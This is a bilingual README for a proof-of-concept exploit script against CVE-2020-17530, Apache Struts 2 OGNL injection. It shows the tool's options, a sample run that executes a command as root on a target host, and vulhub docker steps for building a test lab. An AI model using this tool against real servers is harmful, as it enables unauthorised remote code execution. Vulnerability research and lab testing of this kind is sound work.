
Proof-of-concept exploit for CVE-2020-17530, a remote code execution vulnerability in Apache Struts 2 via OGNL injection. Includes a Python script for targeting vulnerable Struts instances. 针对 CVE-2020-17530 的概念验证利用程序,该漏洞是 Apache Struts 2 中通过 OGNL 注入导致的远程代码执行漏洞。包含一个用于定位易受攻击 Struts 实例的 Python 脚本。
CVE-2020-17530 的快速概念验证。在 Apache Struts 版本 2.0.0 至 2.5.25 中,对标签属性中原始用户输入进行强制对象图导航语言(OGNL)评估可能导致远程代码执行(RCE)。
$ python CVE-2020-17530.py --help
usage: CVE-2020-17530.py [-h] [-c COMMAND] [-n NAME] [-p PORT] [-t TARGET] [-u URI]
optional arguments:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
command
-n NAME, --name NAME form data name
-p PORT, --port PORT port
-t TARGET, --target TARGET
target
-u URI, --uri URI uri
$ python CVE-2020-17530.py --target 10.10.30.62 --port 8080 --uri "/index.action" --command id
uid=0(root) gid=0(root) groups=0(root)
$ docker pull vulhub/struts2:2.5.25
$ docker run -d -p 8080:8080 vulhub/struts2:2.5.25